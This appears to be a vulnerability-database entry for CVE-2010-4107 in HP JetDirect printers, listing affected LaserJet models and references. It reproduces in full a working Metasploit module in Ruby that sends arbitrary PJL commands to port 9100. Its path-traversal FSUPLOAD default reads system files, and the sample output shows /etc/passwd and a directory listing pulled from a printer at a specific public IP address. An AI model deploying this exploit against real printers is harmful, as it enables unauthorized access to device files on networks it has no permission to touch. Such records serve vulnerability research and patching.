ID

VAR-E-201011-0050


CVE

cve_id:CVE-2010-4107

Trust: 2.9

sources: BID: 44882 // PACKETSTORM: 96205 // PACKETSTORM: 103777 // EXPLOIT-DB: 17636 // EDBNET: 40186

EDB ID

17636


TITLE

HP JetDirect PJL - Query Execution (Metasploit) - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 17636

DESCRIPTION

HP JetDirect PJL - Query Execution (Metasploit). CVE-2010-4107 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 17636

AFFECTED PRODUCTS

vendor:hpmodel:jetdirect pjlscope: - version: -

Trust: 1.0

vendor:hpmodel:laserjet pjl interfacescope: - version: -

Trust: 0.5

vendor:hpmodel:jetdirect pjl interface universalscope: - version: -

Trust: 0.5

vendor:hpmodel:laserjet m9050 mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:laserjet m4345x mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:laserjet m1522n mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:laserjet mfpscope:eqversion:90500

Trust: 0.3

vendor:hpmodel:laserjet 9000mfpscope: - version: -

Trust: 0.3

vendor:hpmodel:laserjetscope:eqversion:9000

Trust: 0.3

vendor:hpmodel:laserjetscope:eqversion:8150

Trust: 0.3

vendor:hpmodel:laserjet mfpscope:eqversion:50350

Trust: 0.3

vendor:hpmodel:laserjet 4345mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:laserjet mfpscope:eqversion:43450

Trust: 0.3

vendor:hpmodel:laserjetscope:eqversion:4300

Trust: 0.3

vendor:hpmodel:laserjetscope:eqversion:4200

Trust: 0.3

vendor:hpmodel:laserjet 4100mfpscope: - version: -

Trust: 0.3

vendor:hpmodel:laserjetscope:eqversion:4100

Trust: 0.3

vendor:hpmodel:laserjet mfpscope:eqversion:30350

Trust: 0.3

vendor:hpmodel:laserjet seriesscope:eqversion:5100

Trust: 0.3

vendor:hpmodel:color laserjet cm4730 mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:color laserjet 9500mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:color laserjet mfpscope:eqversion:60400

Trust: 0.3

vendor:hpmodel:color laserjet 4730mfpscope:eqversion:0

Trust: 0.3

vendor:hpmodel:color laserjet mfpscope:eqversion:47300

Trust: 0.3

sources: BID: 44882 // PACKETSTORM: 96205 // PACKETSTORM: 103777 // EXPLOIT-DB: 17636

EXPLOIT

# Exploit Title: HP JetDirect PJL Query Execution
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_cmd) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_cmd):
#
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# CMD FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999 yes PJL Command to run
# INTERACTIVE true no Enter interactive mode [msfconsole Only]
# RHOST 202.138.16.21 yes The target address
# RPORT 9100 yes The target port
#
# msf auxiliary(hp_printer_pjl_cmd) > run
#
# [*] Entering interactive mode ...
# [*] Please wait while executing -
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
# [+] Server returned the following response:
#
# root::0:0::/:/bin/dlsh
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999
# [*] Please wait while executing -
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
# msf auxiliary(hp_printer_pjl_cmd) >

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => 'HP JetDirect Printer PJL Query Execution',
'Version' => '$Revision: 1 $',
'Description' => %q{
This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP.
},
'Author' => [
'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
[ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]

],
'DisclosureDate' => ' 2011'))

register_options(
[
OptString.new('CMD',
[
true,
"PJL Command to run",
'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
]
),
OptBool.new('INTERACTIVE',
[
false,
"Enter interactive mode [msfconsole Only]",
false
]
),

Opt::RPORT(9100)
],self.class)

end

def run
mode = datastore['INTERACTIVE']

if mode == true
set_interactive(datastore['CMD'])
else
set_onetime(datastore['CMD'])
end
end

def set_interactive(scmd)
cmd = scmd

print_status("Entering interactive mode ...")
stop = false

set_onetime(cmd)

until stop == true
print_status("Enter PJL Command:")
print_status("-> 'quit' to exit")
print("$ > ")
tmp_cmd = ''
tmp_cmd = gets.chomp.to_s
if tmp_cmd =~ /quit/
stop= true
print_status("Exited ... Have fun with your Printer!")
else
set_onetime(tmp_cmd)
end
end
end

def set_onetime(scmd)

connect

cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
r_cmd = cmd.sub("[REPLACE]",scmd)

print_status("Please wait while executing -")
print_status("#{scmd}")

recv = sock.put(r_cmd)
res = sock.get(-1,1)

if (!res)
print_error("ERROR in receiving data!\r\n")
else
if res.to_s =~ /ERROR/
print_error("BAD COMMAND OR ERROR\r\n")
disconnect
return
end
resx = res.to_s[res.index("\r\n")+1,res.length]
print_good("Server returned the following response:\r\n#{resx}")
end

disconnect

end

end

Trust: 1.0

sources: EXPLOIT-DB: 17636

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 17636

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 17636

TYPE

Query Execution (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 17636

TAGS

tag:exploit

Trust: 1.0

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:file inclusion

Trust: 0.5

sources: PACKETSTORM: 96205 // PACKETSTORM: 103777 // EXPLOIT-DB: 17636

CREDITS

Myo Soe

Trust: 0.6

sources: EXPLOIT-DB: 17636

EXTERNAL IDS

db:NVDid:CVE-2010-4107

Trust: 3.5

db:EXPLOIT-DBid:17636

Trust: 1.6

db:0DAYTODAYid:14994

Trust: 0.6

db:EDBNETid:14974

Trust: 0.6

db:EDBNETid:40186

Trust: 0.6

db:PACKETSTORMid:96205

Trust: 0.5

db:PACKETSTORMid:103777

Trust: 0.5

db:BIDid:44882

Trust: 0.3

sources: BID: 44882 // PACKETSTORM: 96205 // PACKETSTORM: 103777 // EXPLOIT-DB: 17636 // EDBNET: 14974 // EDBNET: 40186

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2010-4107

Trust: 2.6

url:https://0day.today/exploits/14994

Trust: 0.6

url:https://www.exploit-db.com/exploits/17636/

Trust: 0.6

url:http://www.nruns.com/_downloads/sa-2010%20003-hewlett-packard.pdf

Trust: 0.3

url:https://www.itrc.hp.com/service/cki/docdisplay.do?docid=emr_na-c02004333

Trust: 0.3

url:http://www.hp.com/

Trust: 0.3

sources: BID: 44882 // PACKETSTORM: 96205 // PACKETSTORM: 103777 // EXPLOIT-DB: 17636 // EDBNET: 14974 // EDBNET: 40186

SOURCES

db:BIDid:44882
db:PACKETSTORMid:96205
db:PACKETSTORMid:103777
db:EXPLOIT-DBid:17636
db:EDBNETid:14974
db:EDBNETid:40186

LAST UPDATE DATE

2022-07-27T09:19:24.174000+00:00


SOURCES UPDATE DATE

db:BIDid:44882date:2014-05-06T01:11:00

SOURCES RELEASE DATE

db:BIDid:44882date:2010-11-15T00:00:00
db:PACKETSTORMid:96205date:2010-11-30T00:29:27
db:PACKETSTORMid:103777date:2011-08-07T17:05:41
db:EXPLOIT-DBid:17636date:2011-08-07T00:00:00
db:EDBNETid:14974date:2010-11-30T00:00:00
db:EDBNETid:40186date:2011-08-07T00:00:00